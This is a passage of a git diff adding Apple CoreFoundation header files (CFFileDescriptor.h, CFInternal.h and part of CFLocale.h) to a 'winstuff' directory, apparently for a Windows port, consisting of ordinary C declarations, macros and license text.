CFErrorGetCallBackForDomain(CFStringRef domainName) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +/* A key for "true" debugging descriptions which should never be shown to the user. It's only used when the CFError is shown to the console, and nothing else is available. For instance the rather terse and techie OSStatus descriptions are in this boat. +*/ +CF_EXPORT const CFStringRef kCFErrorDebugDescription AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFERRORPRIVATE__ */ + diff --git a/winstuff/CoreFoundation/CFFileDescriptor.h b/winstuff/CoreFoundation/CFFileDescriptor.h new file mode 100644 index 0000000..165ccda --- /dev/null +++ b/winstuff/CoreFoundation/CFFileDescriptor.h @@ -0,0 +1,56 @@ +/* CFFileDescriptor.h + Copyright (c) 2006-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFFILEDESCRIPTOR__) +#define __COREFOUNDATION_CFFILEDESCRIPTOR__ 1 + +#include + +#if MAC_OS_X_VERSION_10_5 <= MAC_OS_X_VERSION_MAX_ALLOWED + +CF_EXTERN_C_BEGIN + +typedef int CFFileDescriptorNativeDescriptor; + +typedef struct __CFFileDescriptor * CFFileDescriptorRef; + +/* Callback Reason Types */ +enum { + kCFFileDescriptorReadCallBack = 1 << 0, + kCFFileDescriptorWriteCallBack = 1 << 1 +}; + +typedef void (*CFFileDescriptorCallBack)(CFFileDescriptorRef f, CFOptionFlags callBackTypes, void *info); + +typedef struct { + CFIndex version; + void * info; + void * (*retain)(void *info); + void (*release)(void *info); + CFStringRef (*copyDescription)(void *info); +} CFFileDescriptorContext; + +CF_EXPORT CFTypeID CFFileDescriptorGetTypeID(void); + +CF_EXPORT CFFileDescriptorRef CFFileDescriptorCreate(CFAllocatorRef allocator, CFFileDescriptorNativeDescriptor fd, Boolean closeOnInvalidate, CFFileDescriptorCallBack callout, const CFFileDescriptorContext *context); + +CF_EXPORT CFFileDescriptorNativeDescriptor CFFileDescriptorGetNativeDescriptor(CFFileDescriptorRef f); + +CF_EXPORT void CFFileDescriptorGetContext(CFFileDescriptorRef f, CFFileDescriptorContext *context); + +CF_EXPORT void CFFileDescriptorEnableCallBacks(CFFileDescriptorRef f, CFOptionFlags callBackTypes); +CF_EXPORT void CFFileDescriptorDisableCallBacks(CFFileDescriptorRef f, CFOptionFlags callBackTypes); + +CF_EXPORT void CFFileDescriptorInvalidate(CFFileDescriptorRef f); +CF_EXPORT Boolean CFFileDescriptorIsValid(CFFileDescriptorRef f); + +CF_EXPORT CFRunLoopSourceRef CFFileDescriptorCreateRunLoopSource(CFAllocatorRef allocator, CFFileDescriptorRef f, CFIndex order); + + +CF_EXTERN_C_END + +#endif + +#endif /* ! __COREFOUNDATION_CFFILEDESCRIPTOR__ */ + diff --git a/winstuff/CoreFoundation/CFInternal.h b/winstuff/CoreFoundation/CFInternal.h new file mode 100644 index 0000000..cc4bd80 --- /dev/null +++ b/winstuff/CoreFoundation/CFInternal.h @@ -0,0 +1,586 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFInternal.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +/* + NOT TO BE USED OUTSIDE CF! +*/ + +#if !CF_BUILDING_CF + #error The header file CFInternal.h is for the exclusive use of CoreFoundation. No other project should include it. +#endif + +#if !defined(__COREFOUNDATION_CFINTERNAL__) +#define __COREFOUNDATION_CFINTERNAL__ 1 + +#include +#include +#include +#include +#include +#include +#include +#include "CFLogUtilities.h" +#include "CFRuntime.h" +#if DEPLOYMENT_TARGET_MACOSX +#include +#include +#endif +#if DEPLOYMENT_TARGET_MACOSX || DEPLOYMENT_TARGET_LINUX || DEPLOYMENT_TARGET_FREEBSD +#include +#include +#endif +#include +#include "auto_stubs.h" +#if !defined (__WIN32__) +#include +#endif //__WIN32__ +#ifndef __WIN32__ +#include +#endif //__WIN32__ + +#if defined(__BIG_ENDIAN__) +#define __CF_BIG_ENDIAN__ 1 +#define __CF_LITTLE_ENDIAN__ 0 +#endif + +#if defined(__LITTLE_ENDIAN__) +#define __CF_LITTLE_ENDIAN__ 1 +#define __CF_BIG_ENDIAN__ 0 +#endif + + +#include "ForFoundationOnly.h" + +CF_EXPORT const char *_CFProcessName(void); +CF_EXPORT CFStringRef _CFProcessNameString(void); + +CF_EXPORT Boolean _CFIsCFM(void); + +CF_EXPORT Boolean _CFGetCurrentDirectory(char *path, int maxlen); + +CF_EXPORT CFStringRef _CFGetUserName(void); + +CF_EXPORT CFArrayRef _CFGetWindowsBinaryDirectories(void); + +CF_EXPORT CFStringRef _CFStringCreateHostName(void); + +CF_EXPORT void _CFMachPortInstallNotifyPort(CFRunLoopRef rl, CFStringRef mode); + +#if defined(__ppc__) || defined(__ppc64__) + #define HALT asm __volatile__("trap") +#elif defined(__i386__) || defined(__x86_64__) + #if defined(__GNUC__) + #define HALT asm __volatile__("int3") + #elif defined(_MSC_VER) + #define HALT __asm int 3; + #else + #error Compiler not supported + #endif +#endif + +#if defined(DEBUG) + #define __CFAssert(cond, prio, desc, a1, a2, a3, a4, a5) \ + do { \ + if (!(cond)) { \ + CFLog(prio, CFSTR(desc), a1, a2, a3, a4, a5); \ + /* HALT; */ \ + } \ + } while (0) +#else + #define __CFAssert(cond, prio, desc, a1, a2, a3, a4, a5) \ + do {} while (0) +#endif + +#define CFAssert(condition, priority, description) \ + __CFAssert((condition), (priority), description, 0, 0, 0, 0, 0) +#define CFAssert1(condition, priority, description, a1) \ + __CFAssert((condition), (priority), description, (a1), 0, 0, 0, 0) +#define CFAssert2(condition, priority, description, a1, a2) \ + __CFAssert((condition), (priority), description, (a1), (a2), 0, 0, 0) +#define CFAssert3(condition, priority, description, a1, a2, a3) \ + __CFAssert((condition), (priority), description, (a1), (a2), (a3), 0, 0) +#define CFAssert4(condition, priority, description, a1, a2, a3, a4) \ + __CFAssert((condition), (priority), description, (a1), (a2), (a3), (a4), 0) + +#define __kCFLogAssertion 3 + +#if defined(DEBUG) +extern void __CFGenericValidateType_(CFTypeRef cf, CFTypeID type, const char *func); +#define __CFGenericValidateType(cf, type) __CFGenericValidateType_(cf, type, __PRETTY_FUNCTION__) +#else +#define __CFGenericValidateType(cf, type) ((void)0) +#endif + +#define CF_INFO_BITS (!!(__CF_BIG_ENDIAN__) * 3) +#define CF_RC_BITS (!!(__CF_LITTLE_ENDIAN__) * 3) + +/* Bit manipulation macros */ +/* Bits are numbered from 31 on left to 0 on right */ +/* May or may not work if you use them on bitfields in types other than UInt32, bitfields the full width of a UInt32, or anything else for which they were not designed. */ +/* In the following, N1 and N2 specify an inclusive range N2..N1 with N1 >= N2 */ +#define __CFBitfieldMask(N1, N2) ((((UInt32)~0UL) << (31UL - (N1) + (N2))) >> (31UL - N1)) +#define __CFBitfieldGetValue(V, N1, N2) (((V) & __CFBitfieldMask(N1, N2)) >> (N2)) +#define __CFBitfieldSetValue(V, N1, N2, X) ((V) = ((V) & ~__CFBitfieldMask(N1, N2)) | (((X) << (N2)) & __CFBitfieldMask(N1, N2))) +#define __CFBitfieldMaxValue(N1, N2) __CFBitfieldGetValue(0xFFFFFFFFUL, (N1), (N2)) + +#define __CFBitIsSet(V, N) (((V) & (1UL << (N))) != 0) +#define __CFBitSet(V, N) ((V) |= (1UL << (N))) +#define __CFBitClear(V, N) ((V) &= ~(1UL << (N))) + +typedef struct ___CFThreadSpecificData { + void *_unused1; + void *_allocator; +// If you add things to this struct, add cleanup to __CFFinalizeThreadData() +} __CFThreadSpecificData; + +extern __CFThreadSpecificData *__CFGetThreadSpecificData(void); +__private_extern__ void __CFFinalizeThreadData(void *arg); + +#if DEPLOYMENT_TARGET_MACOSX || DEPLOYMENT_TARGET_LINUX || DEPLOYMENT_TARGET_FREEBSD +extern pthread_key_t __CFTSDKey; +#endif + +//extern void *pthread_getspecific(pthread_key_t key); + +CF_INLINE __CFThreadSpecificData *__CFGetThreadSpecificData_inline(void) { +#if DEPLOYMENT_TARGET_MACOSX|| DEPLOYMENT_TARGET_LINUX || DEPLOYMENT_TARGET_FREEBSD + __CFThreadSpecificData *data = pthread_getspecific(__CFTSDKey); + return data ? data : __CFGetThreadSpecificData(); +#elif defined(__WIN32__) + __CFThreadSpecificData *data = (__CFThreadSpecificData *)TlsGetValue(__CFTSDKey); + return data ? data : __CFGetThreadSpecificData(); +#endif +} + +#define __kCFAllocatorTypeID_CONST 2 + +CF_INLINE CFAllocatorRef __CFGetDefaultAllocator(void) { + CFAllocatorRef allocator = (CFAllocatorRef)__CFGetThreadSpecificData_inline()->_allocator; + if (NULL == allocator) { + allocator = kCFAllocatorSystemDefault; + } + return allocator; +} + +extern CFTypeID __CFGenericTypeID(const void *cf); + +// This should only be used in CF types, not toll-free bridged objects! +// It should not be used with CFAllocator arguments! +// Use CFGetAllocator() in the general case, and this inline function in a few limited (but often called) situations. +CF_INLINE CFAllocatorRef __CFGetAllocator(CFTypeRef cf) { // !!! Use with CF types only, and NOT WITH CFAllocator! + CFAssert1(__kCFAllocatorTypeID_CONST != __CFGenericTypeID(cf), __kCFLogAssertion, "__CFGetAllocator(): CFAllocator argument", cf); + if (__builtin_expect(__CFBitfieldGetValue(((const CFRuntimeBase *)cf)->_cfinfo[CF_INFO_BITS], 7, 7), 1)) { + return kCFAllocatorSystemDefault; + } + return *(CFAllocatorRef *)((char *)cf - sizeof(CFAllocatorRef)); +} + +// Don't define a __CFGetCurrentRunLoop(), because even internal clients should go through the real one + + +#if !defined(LLONG_MAX) + #if defined(_I64_MAX) + #define LLONG_MAX _I64_MAX + #else + #warning Arbitrarily defining LLONG_MAX + #define LLONG_MAX (int64_t)9223372036854775807 + #endif +#endif /* !defined(LLONG_MAX) */ + +#if !defined(LLONG_MIN) + #if defined(_I64_MIN) + #define LLONG_MIN _I64_MIN + #else + #warning Arbitrarily defining LLONG_MIN + #define LLONG_MIN (-LLONG_MAX - (int64_t)1) + #endif +#endif /* !defined(LLONG_MIN) */ + +#if defined(__GNUC__) && !defined(__STRICT_ANSI__) + #define __CFMin(A,B) ({__typeof__(A) __a = (A); __typeof__(B) __b = (B); __a < __b ? __a : __b; }) + #define __CFMax(A,B) ({__typeof__(A) __a = (A); __typeof__(B) __b = (B); __a < __b ? __b : __a; }) +#else /* __GNUC__ */ + #define __CFMin(A,B) ((A) < (B) ? (A) : (B)) + #define __CFMax(A,B) ((A) > (B) ? (A) : (B)) +#endif /* __GNUC__ */ + +/* Secret CFAllocator hint bits */ +#define __kCFAllocatorTempMemory 0x2 +#define __kCFAllocatorNoPointers 0x10 +#define __kCFAllocatorDoNotRecordEvent 0x100 +#define __kCFAllocatorGCScannedMemory 0x200 /* GC: memory should be scanned. */ +#define __kCFAllocatorGCObjectMemory 0x400 /* GC: memory needs to be finalized. */ + +CF_INLINE auto_memory_type_t CF_GET_GC_MEMORY_TYPE(CFOptionFlags flags) { + auto_memory_type_t type = (flags & __kCFAllocatorGCScannedMemory ? 0 : AUTO_UNSCANNED) | (flags & __kCFAllocatorGCObjectMemory ? AUTO_OBJECT : 0); + return type; +} + +CF_EXPORT CFAllocatorRef _CFTemporaryMemoryAllocator(void); + +extern SInt64 __CFTimeIntervalToTSR(CFTimeInterval ti); +extern CFTimeInterval __CFTSRToTimeInterval(SInt64 tsr); + +extern CFStringRef __CFCopyFormattingDescription(CFTypeRef cf, CFDictionaryRef formatOptions); + +/* result is long long or int, depending on doLonglong +*/ +extern Boolean __CFStringScanInteger(CFStringInlineBuffer *buf, CFTypeRef locale, SInt32 *indexPtr, Boolean doLonglong, void *result); +extern Boolean __CFStringScanDouble(CFStringInlineBuffer *buf, CFTypeRef locale, SInt32 *indexPtr, double *resultPtr); +extern Boolean __CFStringScanHex(CFStringInlineBuffer *buf, SInt32 *indexPtr, unsigned *result); + + +#define STACK_BUFFER_DECL(T, N, C) T N[C]; + +#ifdef __CONSTANT_CFSTRINGS__ +#define CONST_STRING_DECL(S, V) const CFStringRef S = (const CFStringRef)__builtin___CFStringMakeConstantString(V); +#else + +struct CF_CONST_STRING { + CFRuntimeBase _base; + uint8_t *_ptr; + uint32_t _length; +}; + +extern int __CFConstantStringClassReference[]; + +/* CFNetwork also has a copy of the CONST_STRING_DECL macro (for use on platforms without constant string support in cc); please warn cfnetwork-core@group.apple.com of any necessary changes to this macro. -- REW, 1/28/2002 */ +#if 0 +#define ___WindowsConstantStringClassReference &__CFConstantStringClassReference +#else +#define ___WindowsConstantStringClassReference NULL +#endif + +#if __CF_BIG_ENDIAN__ +#define CONST_STRING_DECL(S, V) \ +static struct CF_CONST_STRING __ ## S ## __ = {{&__CFConstantStringClassReference, {0x0000, 0x07c8}}, V, sizeof(V) - 1}; \ +const CFStringRef S = (CFStringRef) & __ ## S ## __; +#elif !defined (__WIN32__) +#define CONST_STRING_DECL(S, V) \ +static struct CF_CONST_STRING __ ## S ## __ = {{&__CFConstantStringClassReference, {0x07c8, 0x0000}}, V, sizeof(V) - 1}; \ +const CFStringRef S = (CFStringRef) & __ ## S ## __; +#elif 0 +#define CONST_STRING_DECL(S, V) \ +static struct CF_CONST_STRING __ ## S ## __ = {{___WindowsConstantStringClassReference, {0xc8, 0x07, 0x00, 0x00}},(uint8_t *) V, sizeof(V) - 1}; \ +const CFStringRef S = (CFStringRef) & __ ## S ## __; + +#define CONST_STRING_DECL_EXPORT(S, V) \ +struct CF_CONST_STRING __ ## S ## __ = {{___WindowsConstantStringClassReference, {0xc8, 0x07, 0x00, 0x00}}, (uint8_t *)V, sizeof(V) - 1}; \ +CF_EXPORT const CFStringRef S = (CFStringRef) & __ ## S ## __; + +#else +#define CONST_STRING_DECL(S, V) \ +static struct CF_CONST_STRING __ ## S ## __ = {{NULL, {0xc8, 0x07, 0x00, 0x00}},(uint8_t *) V, sizeof(V) - 1}; \ +const CFStringRef S = (CFStringRef) & __ ## S ## __; + +#define CONST_STRING_DECL_EXPORT(S, V) \ +struct CF_CONST_STRING __ ## S ## __ = {{NULL, {0xc8, 0x07, 0x00, 0x00}}, (uint8_t *)V, sizeof(V) - 1}; \ +CF_EXPORT const CFStringRef S = (CFStringRef) & __ ## S ## __; + +#endif // __WIN32__ +#endif // __BIG_ENDIAN__ + +#undef ___WindowsConstantStringClassReference + +/* Buffer size for file pathname */ +#if 0 || 0 + #define CFMaxPathSize ((CFIndex)262) + #define CFMaxPathLength ((CFIndex)260) +#else + #define CFMaxPathSize ((CFIndex)1026) + #define CFMaxPathLength ((CFIndex)1024) +#endif + +#define __CFOASafe 0 +#define __CFSetLastAllocationEventName(a, b) ((void) 0) + +CF_EXPORT CFStringRef _CFCreateLimitedUniqueString(void); + +/* Comparators are passed the address of the values; this is somewhat different than CFComparatorFunction is used in public API usually. */ +CF_EXPORT CFIndex CFBSearch(const void *element, CFIndex elementSize, const void *list, CFIndex count, CFComparatorFunction comparator, void *context); + +CF_EXPORT CFHashCode CFHashBytes(UInt8 *bytes, CFIndex length); + +CF_EXPORT CFStringEncoding CFStringFileSystemEncoding(void); + +__private_extern__ CFStringRef __CFStringCreateImmutableFunnel3(CFAllocatorRef alloc, const void *bytes, CFIndex numBytes, CFStringEncoding encoding, Boolean possiblyExternalFormat, Boolean tryToReduceUnicode, Boolean hasLengthByte, Boolean hasNullByte, Boolean noCopy, CFAllocatorRef contentsDeallocator, UInt32 converterFlags); + +extern const void *__CFStringCollectionCopy(CFAllocatorRef allocator, const void *ptr); +extern const void *__CFTypeCollectionRetain(CFAllocatorRef allocator, const void *ptr); +extern void __CFTypeCollectionRelease(CFAllocatorRef allocator, const void *ptr); + + +#if DEPLOYMENT_TARGET_MACOSX + +typedef OSSpinLock CFSpinLock_t; + +#define CFSpinLockInit OS_SPINLOCK_INIT +#define CF_SPINLOCK_INIT_FOR_STRUCTS(X) (X = CFSpinLockInit) + +CF_INLINE void __CFSpinLock(CFSpinLock_t *lockp) { + OSSpinLockLock(lockp); +} + +CF_INLINE void __CFSpinUnlock(CFSpinLock_t *lockp) { + OSSpinLockUnlock(lockp); +} + +#elif defined(__WIN32__) + +typedef CRITICAL_SECTION CFSpinLock_t; + +#define CFSpinLockInit {0} + +// For some reason, the {0} initializer does not work when the spinlock is a member of a structure; hence this macro +#define CF_SPINLOCK_INIT_FOR_STRUCTS(X) InitializeCriticalSection(&X) +extern CFSpinLock_t *theLock; +CF_INLINE void __CFSpinLock(CFSpinLock_t *slock) { + if (NULL == slock->DebugInfo) { + InitializeCriticalSection(slock); + } + EnterCriticalSection(slock); +} + +CF_INLINE void __CFSpinUnlock(CFSpinLock_t *lock) { + LeaveCriticalSection(lock); +} + +#else + +#warning CF spin locks not defined for this platform -- CF is not thread-safe +#define __CFSpinLock(A) do {} while (0) +#define __CFSpinUnlock(A) do {} while (0) + +#endif + +#if !defined(CHECK_FOR_FORK) +#define CHECK_FOR_FORK() do { } while (0) +#endif + +#if !defined(HAS_FORKED) +#define HAS_FORKED() 0 +#endif + +#if defined(__svr4__) || defined(__hpux__) || defined(__WIN32__) +#include +#elif DEPLOYMENT_TARGET_MACOSX || DEPLOYMENT_TARGET_LINUX || DEPLOYMENT_TARGET_FREEBSD +#include +#endif + +#define thread_errno() errno +#define thread_set_errno(V) do {errno = (V);} while (0) + +extern void *__CFStartSimpleThread(void *func, void *arg); + +/* ==================== Simple file access ==================== */ +/* For dealing with abstract types. MF:!!! These ought to be somewhere else and public. */ + +CF_EXPORT CFStringRef _CFCopyExtensionForAbstractType(CFStringRef abstractType); + +/* ==================== Simple file access ==================== */ +/* These functions all act on a c-strings which must be in the file system encoding. */ + +CF_EXPORT Boolean _CFCreateDirectory(const char *path); +CF_EXPORT Boolean _CFRemoveDirectory(const char *path); +CF_EXPORT Boolean _CFDeleteFile(const char *path); + +CF_EXPORT Boolean _CFReadBytesFromFile(CFAllocatorRef alloc, CFURLRef url, void **bytes, CFIndex *length, CFIndex maxLength); + /* resulting bytes are allocated from alloc which MUST be non-NULL. */ + /* maxLength of zero means the whole file. Otherwise it sets a limit on the number of bytes read. */ + +CF_EXPORT Boolean _CFWriteBytesToFile(CFURLRef url, const void *bytes, CFIndex length); +#if DEPLOYMENT_TARGET_MACOSX +CF_EXPORT Boolean _CFWriteBytesToFileWithAtomicity(CFURLRef url, const void *bytes, unsigned int length, SInt32 mode, Boolean atomic); +#endif + +CF_EXPORT CFMutableArrayRef _CFContentsOfDirectory(CFAllocatorRef alloc, char *dirPath, void *dirSpec, CFURLRef dirURL, CFStringRef matchingAbstractType); + /* On Mac OS 8/9, one of dirSpec, dirPath and dirURL must be non-NULL */ + /* On all other platforms, one of path and dirURL must be non-NULL */ + /* If both are present, they are assumed to be in-synch; that is, they both refer to the same directory. */ + /* alloc may be NULL */ + /* return value is CFArray of CFURLs */ + +CF_EXPORT SInt32 _CFGetFileProperties(CFAllocatorRef alloc, CFURLRef pathURL, Boolean *exists, SInt32 *posixMode, SInt64 *size, CFDateRef *modTime, SInt32 *ownerID, CFArrayRef *dirContents); + /* alloc may be NULL */ + /* any of exists, posixMode, size, modTime, and dirContents can be NULL. Usually it is not a good idea to pass NULL for exists, since interpretting the other values sometimes requires that you know whether the file existed or not. Except for dirContents, it is pretty cheap to compute any of these things as loing as one of them must be computed. */ + + +/* ==================== Simple path manipulation ==================== */ +/* These functions all act on a UniChar buffers. */ + +CF_EXPORT Boolean _CFIsAbsolutePath(UniChar *unichars, CFIndex length); +CF_EXPORT Boolean _CFStripTrailingPathSlashes(UniChar *unichars, CFIndex *length); +CF_EXPORT Boolean _CFAppendPathComponent(UniChar *unichars, CFIndex *length, CFIndex maxLength, UniChar *component, CFIndex componentLength); +CF_EXPORT Boolean _CFAppendPathExtension(UniChar *unichars, CFIndex *length, CFIndex maxLength, UniChar *extension, CFIndex extensionLength); +CF_EXPORT Boolean _CFTransmutePathSlashes(UniChar *unichars, CFIndex *length, UniChar replSlash); +CF_EXPORT CFIndex _CFStartOfLastPathComponent(UniChar *unichars, CFIndex length); +CF_EXPORT CFIndex _CFLengthAfterDeletingLastPathComponent(UniChar *unichars, CFIndex length); +CF_EXPORT CFIndex _CFStartOfPathExtension(UniChar *unichars, CFIndex length); +CF_EXPORT CFIndex _CFLengthAfterDeletingPathExtension(UniChar *unichars, CFIndex length); + +#define CF_IS_OBJC(typeID, obj) (false) + +#define CF_OBJC_VOIDCALL0(obj, sel) +#define CF_OBJC_VOIDCALL1(obj, sel, a1) +#define CF_OBJC_VOIDCALL2(obj, sel, a1, a2) + +#define CF_OBJC_CALL0(rettype, retvar, obj, sel) +#define CF_OBJC_CALL1(rettype, retvar, obj, sel, a1) +#define CF_OBJC_CALL2(rettype, retvar, obj, sel, a1, a2) + +#if defined (__WIN32__) +#define CF_OBJC_FUNCDISPATCH0(typeID, rettype, obj, sel) ((void)0) +#define CF_OBJC_FUNCDISPATCH1(typeID, rettype, obj, sel, a1) ((void)0) +#define CF_OBJC_FUNCDISPATCH2(typeID, rettype, obj, sel, a1, a2) ((void)0) +#define CF_OBJC_FUNCDISPATCH3(typeID, rettype, obj, sel, a1, a2, a3) ((void)0) +#define CF_OBJC_FUNCDISPATCH4(typeID, rettype, obj, sel, a1, a2, a3, a4) ((void)0) +#define CF_OBJC_FUNCDISPATCH5(typeID, rettype, obj, sel, a1, a2, a3, a4, a5) ((void)0) +#else +#define CF_OBJC_FUNCDISPATCH0(typeID, rettype, obj, sel) +#define CF_OBJC_FUNCDISPATCH1(typeID, rettype, obj, sel, a1) +#define CF_OBJC_FUNCDISPATCH2(typeID, rettype, obj, sel, a1, a2) +#define CF_OBJC_FUNCDISPATCH3(typeID, rettype, obj, sel, a1, a2, a3) +#define CF_OBJC_FUNCDISPATCH4(typeID, rettype, obj, sel, a1, a2, a3, a4) +#define CF_OBJC_FUNCDISPATCH5(typeID, rettype, obj, sel, a1, a2, a3, a4, a5) +#endif //__WIN32__ + +#define __CFISAForTypeID(x) (0) + +#define __CFMaxRuntimeTypes 65535 + +/* See comments in CFBase.c +*/ +#if DEPLOYMENT_TARGET_MACOSX && defined(__ppc__) +extern void __CF_FAULT_CALLBACK(void **ptr); +extern void *__CF_INVOKE_CALLBACK(void *, ...); +#define FAULT_CALLBACK(V) __CF_FAULT_CALLBACK(V) +#define INVOKE_CALLBACK1(P, A) (__CF_INVOKE_CALLBACK(P, A)) +#define INVOKE_CALLBACK2(P, A, B) (__CF_INVOKE_CALLBACK(P, A, B)) +#define INVOKE_CALLBACK3(P, A, B, C) (__CF_INVOKE_CALLBACK(P, A, B, C)) +#define INVOKE_CALLBACK4(P, A, B, C, D) (__CF_INVOKE_CALLBACK(P, A, B, C, D)) +#define INVOKE_CALLBACK5(P, A, B, C, D, E) (__CF_INVOKE_CALLBACK(P, A, B, C, D, E)) +#define UNFAULT_CALLBACK(V) do { V = (void *)((uintptr_t)V & ~0x3); } while (0) +#else +#define FAULT_CALLBACK(V) +#define INVOKE_CALLBACK1(P, A) (P)(A) +#define INVOKE_CALLBACK2(P, A, B) (P)(A, B) +#define INVOKE_CALLBACK3(P, A, B, C) (P)(A, B, C) +#define INVOKE_CALLBACK4(P, A, B, C, D) (P)(A, B, C, D) +#define INVOKE_CALLBACK5(P, A, B, C, D, E) (P)(A, B, C, D, E) +#define UNFAULT_CALLBACK(V) do { } while (0) +#endif + +/* For the support of functionality which needs CarbonCore or other frameworks */ +// These macros define an upcall or weak "symbol-lookup" wrapper function. +// The parameters are: +// R : the return type of the function +// N : the name of the function (in the other library) +// P : the parenthesized parameter list of the function +// A : the parenthesized actual argument list to be passed +// opt: a fifth optional argument can be passed in which is the +// return value of the wrapper when the function cannot be +// found; should be of type R, & can be a function call +// The name of the resulting wrapper function is: +// __CFCarbonCore_N (where N is the second parameter) +// __CFNetwork_N (where N is the second parameter) +// +// Example: +// DEFINE_WEAK_CARBONCORE_FUNC(void, DisposeHandle, (Handle h), (h)) +// + +#if DEPLOYMENT_TARGET_MACOSX + +extern void *__CFLookupCFNetworkFunction(const char *name); + +#define DEFINE_WEAK_CFNETWORK_FUNC(R, N, P, A, ...) \ +static R __CFNetwork_ ## N P { \ + static R (*dyfunc) P = (void *)(~(uintptr_t)0); \ + if ((void *)(~(uintptr_t)0) == dyfunc) { \ + dyfunc = __CFLookupCFNetworkFunction(#N); } \ + if (dyfunc) { return dyfunc A ; } \ + return __VA_ARGS__ ; \ +} + +#else + +#define DEFINE_WEAK_CFNETWORK_FUNC(R, N, P, A, ...) + +#endif + + +#if !defined(DEFINE_WEAK_CARBONCORE_FUNC) +#define DEFINE_WEAK_CARBONCORE_FUNC(R, N, P, A, ...) +#endif + + +__private_extern__ CFArrayRef _CFBundleCopyUserLanguages(Boolean useBackstops); + +/* GC related internal SPIs. */ +extern malloc_zone_t *__CFCollectableZone; + +/* !!! Avoid #importing objc.h; e.g. converting this to a .m file */ +struct __objcFastEnumerationStateEquivalent { + unsigned long state; + unsigned long *itemsPtr; + unsigned long *mutationsPtr; + unsigned long extra[5]; +}; + +unsigned long _CFStorageFastEnumeration(CFStorageRef storage, struct __objcFastEnumerationStateEquivalent *state, void *stackbuffer, unsigned long count); + + +// Allocate an id[count], new slots are nil +extern void *__CFAllocateObjectArray(unsigned long count); +extern void *__CFReallocateObjectArray(id *array, unsigned long count); +extern void __CFFreeObjectArray(id *array); + +// check against LONG_MAX to catch negative numbers +#define new_id_array(N, C) \ + size_t N ## _count__ = (C); \ + if (N ## _count__ > LONG_MAX) { \ + id rr = [objc_lookUpClass("NSString") stringWithFormat:@"*** attempt to create a temporary id buffer which is too large or with a negative count (%lu) -- possibly data is corrupt", N ## _count__]; \ + @throw [NSException exceptionWithName:NSGenericException reason:rr userInfo:nil]; \ + } \ + NSInteger N ## _is_stack__ = (N ## _count__ <= 256); \ + id N ## _buffer__[N ## _is_stack__ ? N ## _count__ : 0]; \ + if (N ## _is_stack__) memset(N ## _buffer__, 0, sizeof(N ## _buffer__)); \ + id * N = N ## _is_stack__ ? N ## _buffer__ : __CFAllocateObjectArray(N ## _count__); \ + if (! N) { \ + id rr = [objc_lookUpClass("NSString") stringWithFormat:@"*** attempt to create a temporary id buffer of length (%lu) failed", N ## _count__]; \ + @throw [NSException exceptionWithName:NSMallocException reason:rr userInfo:nil]; \ + } \ + do {} while (0) + +#define free_id_array(N) \ + if (! N ## _is_stack__) __CFFreeObjectArray(N) + +extern void *__CFFullMethodName(Class cls, id obj, SEL sel); +extern void *__CFExceptionProem(id obj, SEL sel); +extern void __CFRequireConcreteImplementation(Class absClass, id obj, SEL sel); + + +#endif /* ! __COREFOUNDATION_CFINTERNAL__ */ + diff --git a/winstuff/CoreFoundation/CFLocale.h b/winstuff/CoreFoundation/CFLocale.h new file mode 100644 index 0000000..18a0b8f --- /dev/null +++ b/winstuff/CoreFoundation/CFLocale.h @@ -0,0 +1,163 @@ +/* CFLocale.h + Copyright (c) 2002-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFLOCALE__) +#define __COREFOUNDATION_CFLOCALE__ 1 + +#include +#include +#include + +#if MAC_OS_X_VERSION_10_3 <= MAC_OS_X_VERSION_MAX_ALLOWED + +CF_EXTERN_C_BEGIN + +typedef const struct __CFLocale *CFLocaleRef; + +CF_EXPORT +CFTypeID CFLocaleGetTypeID(void) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + +CF_EXPORT +CFLocaleRef CFLocaleGetSystem(void) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + // Returns the "root", canonical locale. Contains fixed "backstop" settings. + +CF_EXPORT +CFLocaleRef CFLocaleCopyCurrent(void) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + // Returns the logical "user" locale for the current user. + // [This is Copy in the sense that you get a retain you have to release, + // but we may return the same cached object over and over.] Settings + // you get from this locale do not change under you as CFPreferences + // are changed (for safety and correctness). Generally you would not + // grab this and hold onto it forever, but use it to do the operations + // you need to do at the moment, then throw it away. (The non-changing + // ensures that all the results of your operations are consistent.) + +CF_EXPORT +CFArrayRef CFLocaleCopyAvailableLocaleIdentifiers(void) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + // Returns an array of CFStrings that represents all locales for + // which locale data is available. + +CF_EXPORT +CFArrayRef CFLocaleCopyISOLanguageCodes(void) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + // Returns an array of CFStrings that represents all known legal ISO + // language codes. Note: many of these will not have any supporting + // locale data in Mac OS X. + +CF_EXPORT +CFArrayRef CFLocaleCopyISOCountryCodes(void) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + // Returns an array of CFStrings that represents all known legal ISO + // country codes. Note: many of these will not have any supporting + // locale data in Mac OS X. + +CF_EXPORT +CFArrayRef CFLocaleCopyISOCurrencyCodes(void) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + // Returns an array of CFStrings that represents all known legal ISO + // currency codes. Note: some of these currencies may be obsolete, or + // represent other financial instruments. + +CF_EXPORT +CFArrayRef 